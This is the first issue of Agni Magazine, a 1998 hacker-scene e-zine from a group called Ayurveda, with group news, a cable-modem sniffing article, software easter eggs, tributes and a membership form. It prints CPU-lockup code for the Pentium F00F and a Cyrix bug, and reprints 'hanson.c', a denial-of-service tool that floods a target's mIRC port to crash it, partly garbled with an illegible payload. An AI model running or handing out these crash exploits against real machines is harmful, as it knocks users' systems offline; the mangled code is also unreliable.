



Welcome To Agni Magazine #1.

Welcome to Agni Magazine. Agni is the first e-magazine to come to you from the group Ayurveda, and to my knowledge is the only e-magazine in the Help File format. For those of you wondering what Agni is, it's a Sanskrit word, when translated means "Fire" (that would explain the logo) and is properly pronounced UG-ni.

If anyone out there possibly has 6-10M of available web-space they'd like to spare, please let us know at ayurveda_grp@hotmail.com. If you have any articles they you might like to see here in the magazine, mail them to me. Use the subject for the mail as "Agni Article". If the article fits that issue of the magazine I'll put it in with your name at the top of the article, and by the side in the table of contents.

Thank you for your interest in Agni Magazine and Ayurveda, and thank you for reading the introduction. Please excuse any grammatical errors, I'm not perfect.

Disclaimer

The items contained within this magazine are for educational purposes only and not to put your ass behind bars.... I have no control on how you use whatever may be within this mag, and therefore I Haze Inferno, the group Ayurveda, it's sub-groups, or any writers for the magazine take no responsibility for your own personal actions...sorry, but I gotta say that.

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Agni Magazine Issue #1. - Created by Haze Inferno 1998.

Ayurveda Information

Ayurveda is a fairly new organization, which will be dealing with many things in the scene that you are all familiar with. Ayurveda is an art group that will have many other sub groups to hold the rest of everyone's needs. These groups will be in the following subjects (for example only) Software, Art, Modding, Programming, Literature, Hacking (and information), and etc. We look forward to showing you all that we are, and what we do. We thank you all for you interest in the group and welcome you to join us.

Sorry to make it short, but it's to the point.

Ayurveda Members

Devatas Dharma:

Founder of Ayurveda, Coordinator for the art packs, Art, Literature, and Programming.

Haze Inferno:

President, Coordinator of Agni Magazine, Art, Literature, Courier, and Programming.

Dominus:

Art, Literature, Cable modem Courier.

Ivanneth Elemmírë:

Art, and Literature.

Serella:

Art, and Literature.

Unright:

Cable modem Courier.

Tekrat-:

Cable modem Courier.

Darkside:

Programming, and Modding.

The Pentium & Cyrix Bugs

Well, this is the thing they didn't mention in the newspapers, what the code is. Here is the code that was kept a secret, because frankly, I hate secrets.

```
char x [5] = {0, 0x0f, 0xc7, 0xc8};
```

```
main ()
{
    void (*f)() =x;

    f();
}
```

There you go.

This is the bug that was expected, but not released... too much.

```
static unsigned char [4] = {0x36, 0x78, 0x38, 0x36};
```

```
{
asm  ("movl      $c, %ebx\n\t"
"again: xchgl    (%ebx), %eax\n\t"
      "movl      %eax, %edx\n\t"
      "jmp       again\n\t");
}
```

There it is! Simple

The Cable modem

Nowadays, I've noticed that the hype on the cable modem has grown extremely larger. Now, in a day where we have things like Web TV where the most novice of all users can connect to the Internet. Since the Cable modem was introduced, it has reopened old security holes.

Although your Cable modem may be fast, is it safe? Did your ISP promise you a safe connection? In the past, people would connect to the Internet using standard modems that logged into a UNIX or VMS system, because of that these people knew the basic fundamentals of home computing and how the Internet worked.

The reason why you may have never heard this information before is because "this cable modem service is not being sold as a secure service and no such claims are being made in the service agreement" according to several ISP security groups. Doesn't that just make you feel damn good?

Programs today such as SniffIt (UNIX), eSniff.c (UNIX), and Gobbler (DOS) are programs that allow a user to sniff the network connections. Now you may say to yourself "So...what's the worst thing that can happen they get my password? I'll change it." Well, that is possible, but the fact is it goes extremely beyond that point. Today in a world of Credit Card Fraud, Credit Card numbers can also be "sniffed" from the connection along with any other information that is place out there. How can some of you do online banking when such known security hazards exist?

This little problem was first noticed when the cable modem NI was installed and powered up at the site. The TX, RX, and NET-ACTIVE status LEDs had immediately lit right up and started reporting network traffic, even though the cable modem NI had not yet been plugged into the Ethernet card of the firewall/gateway machine. It was then thought that the possibility of cable modem users to sniff all traffic passing over the Subnet was extremely great.

Much of this information was found at: <http://www.L0phT.com/~sciri/cable/>

Written by Sciri.

Go check the site out for more information on the cable modem, it seems Sciri has done a lot of research and the site is nice reading material.

C Code of the Month

hanson.c

Just to remind you, I didn't write this thing, so don't bitch at me. (authors are listed below)

/* <http://www.rootshell.com/> - 12/23/97 */

/* hanson.c - by myn with help from h2o and watcher *thanks*

This lil program exploits mIRC's bound sockets, making the client crash mIRC can handle a mass influx of data but cannot handle strings of data that are parsed internally through mIRC. This program forces mIRC to parse incoming data and identify it, the result from the parse is larger then mIRC's buffer string size, thus making the client crash :). This will create 5 connections to the bound port and then send the string.

Its like sending double "int" when you only had 1 bit to work with! hanson.c is dedicated to all the lil 13 to 16 year old geeks (abyss) that are in love with those cute boys..

myn@efnet

 $\ast/$

```
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
```

```
int x, s, i, p, dport;
```

```
/* SET STRING HERE */
```

```
char *str =
```

[illegible]

*

[illegible]

```
struct sockaddr_in addr, spoofedaddr;
```

```
struct hostent *host;
```

```
int open_sock(int sock, char *server, int port) {
    struct sockaddr_in blah;
    struct hostent *he;
    bzero((char *)&blah, sizeof(blah));
    blah.sin_family=AF_INET;
    blah.sin_addr.s_addr=inet_addr(server);
    blah.sin_port=htons(port);
```

```
if ((he = gethostbyname(server)) != NULL) {  
    bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length);
```

}

```
else {
```

```
if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) {
    perror("gethostbyname()");
    return(-3);
}
```

}

}

```
if (connect(sock, (struct sockaddr *)&blah, 16) == -1) {
```

```

        perror("connect()");
        close(sock);
        return(-4);
    }

    printf("    Connected to [%s:%d].\n",server,port);
    return;
}

void main(int argc, char *argv[]) {
    int t;
    if (argc != 3) {
        printf("hanson.c - myn@efnet\n\n");
        printf("This lil program exploits mIRC's bound sockets, making the client
crash\n\n");
        printf("Usage: %s <target> <port>\n",argv[0]);
        exit(0);
    }

    printf("hanson.c - myn@efnet\n\n");
    for (t=0; t<5; t++)

    {

        if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
            perror("socket()");
            exit(-1);
        }

        p = atoi(argv[2]);
        open_sock(s,argv[1],p);

        printf("    Sending string 1000 times to %s port %i... \n", argv[1], p);

        for (i=0; i<1000; i++) {
            send(s,str,strlen(str),0x0);
        }

        printf("mmmmmb0p.\n");
    }

    close(s);
}

```

Software Easter Eggs

For those of you that have never heard of "Easter Eggs" in a program, I'll tell you. Easter eggs, are small things, like pictures, credits, greets, or in games sometimes secret levels with pictures of all the developers. They are the programmers little way of saying "hi". I'm not going to explain Easter Eggs any further in the article, I'll just give you a list, and it's up to you to go hunting.

These are only the ones I've tested and I know they work.

mIRC: (Tested on version 5.3)

1. Select About from the Help menu.
 2. Type "arnie."
-
1. Put the cursor over the buttons on the taskbar.
 2. Right click.
-
1. Select About from the Help menu.
 2. Click on the tip of Khaled's nose.

Netscape Navigator: (Tested on version 3 Gold)

I tried to put down one that you all might not have seen.

1. type about:mozilla in the address box.

Adobe Photoshop v4:

1. Click on the Help/About Photoshop.....holding ALT while releasing the mouse button.
2. The mascot's creator is listed in the credits.

Duke Nukem 3d:

1. Load up Duke3d from the command line, type duke3d /l7
 2. This will take you to Episode 1 Level 7, a secret level.
 3. This secret level has all the pictures of the developers in it.
 4. Their faces are inside the astronaut suits.
-
1. I know most of you have heard about "DNSTUFF" and "DNKROZ"
 2. Well, try playing with, "DNCLIP", just be careful, it turns the clipping off allowing you to walk through walls.
 3. Really be careful, because if you walk into something that doesn't have anything behind it.....you die.

Windows 95 Operation System:

1. Click on the START button.
 2. Press ESC.
 3. Press ALT + the "-" key.
 4. Select Close.
 5. Sorry about this, but if you want the button back.....restart.
-
1. Do all the above.
 2. Select Move.
-
1. Goto the screensaver properties.
 2. Select 3D TEXT.
 3. Change the Text to "volcano".
 4. Click "OK"
 5. Click "Preview"

Ok that's it for now. I might put more in the next issue.

See ya Unright

For those of you in the scene that know Unright, I'm sure you know all that he has done. Not just for the scene itself, but for his friends. Unright is now going off to school, and this article is like a why of saying, "Thank you for what you've done, and Good Luck." I'd like to thank you for all those losers that ran a FTP on a 28.8, that you jumped in and got it for me on your cable modem, much thanks. For buying me that kick-ass CD, I'm stilling listening to it. Ok, that's pretty much all I will say. Now, I'm the rest of these are thanks from the rest of the people in the scene, ok, maybe not "the rest", just the people that knew him. That I knew also...

Despair: To Unright, A friend of all friends. I never felt "ok" in my life... It's always been downer to another downer, and so on. You, a person that has no "enemies" didn't give me any crap, and steered me in the right direction. I'd call you god, but you have no beliefs... so I call you a leader. Unright, thank you

for being a best friend, and never change. People will crap on ya, and hurt ya, but keep up the attitude... because you are something man... you amount to something, and people just suck!

Tekrat-: Good luck in the future and thanks for the five bucks... =P.

MadArtist: Thank you Unright for making everything that was ever "unright" seem better that way. Somehow you've contributed to the entire rightness of this all. Those two sentences made perfect sense =).

Haze Inferno: Yeah, it's me again. Unright, I'd like to pretty much thank you for everything you've done. You're a man of many talents, with computers being a small factor in all of that. Your jokes and comedy shall be missed extremely. This mostly because you are the one that seems to cheer us all up when something goes wrong. You've been there for me along with all of your other friends, you never let us down when you said you'd do something, and we'll never forget that. Just one thing I ask from you ... that you find some time to ride your bike down here and visit us... (heh.. get your damn license!). In conclusion, I wish you good luck up there. When you get there give Chance a big kick in the head for me .. :).

Although Unright is leaving the area, he will still be on the member list, doing what he can, when he can find the time away from school.

Some many people wanted to say goodbye, but were not available for talking to. Two major people I want to mention are Devatas Dharma and EvilEyez. Their good-byes, along with others will be placed in the next issue...

Thanks Unright.

Misc. Bugs

These are just random bugs that have flown by me during the month that I felt that I should share. For those of you that already know about the bugs, I apologize.

Netscape (tested on the fairly new 4.03)

Netscape has a buffer overflow bug in their bookmarks code. That whenever somebody goes to a web page with a very long title (such as 6-8k) and then that person bookmarks the page, Netscape will start crashing at loading bookmark.htm on startup. So watch what you bookmark.

Yeah, that's it...just one...blah, blah... sorry.

Thanks

This is a list of a all the people I'd like to thank, and without them this magazine would not exist.

Darkside:

Thank you for the speeches so many years ago, I still haven't forgotten about all that..

Ashen-Shugar:

Thank you for an enjoyable introduction.

Tekrat-:

Thanks for the computer you built, and for putting up with my crap.

Devatas Dharma:

Thank you for the offering of help and the assist in my ever lasting search for knowledge.

Unright:

Thanks for the many downloads you did for me that went way to slow for my modem. (Have fun away at school man.)

Despair:

Thank you for reminding me that everything I've done on these machines has a purpose and that I should keep going.

To anyone I may have left out, I'm truly sorry, but I thank you just the same.

Haze Inferno

Ayurveda Application

Text Version

To apply to Ayurveda, please fill this information out in a text file. Using the questions in the text file as well. Then paste them to a piece of email, and send it to ayurveda_grp@hotmail.com.

Handle:

Real Name:

Voice Phone:

Data Phone:

Email Address:

City, State:

Age:

Years in the scene:

Are you a SysOp?:

(if so) Board Name: Board Number: () -

Previous group experience:

What type of art do you do? Ansi, Rip, Ascii, or VGA.

(if Ansi/Ascii)

How long have you been doing Ansi/Ascii?:

Number of art piece completed (approx):

How many lines is your largest piece?:

(if Rip)

How long have you been doing RIP?:

Number of art piece completed (approx):

How much time does it take you to complete one RIP?

(if VGA)

How long have you been doing VGA Art?:

Number of art piece completed (approx):

How much time does it take you to complete one piece?

Below, explain why you want to be in Ayurveda, including how you plan to contribute if accepted. You may also talk about past experience.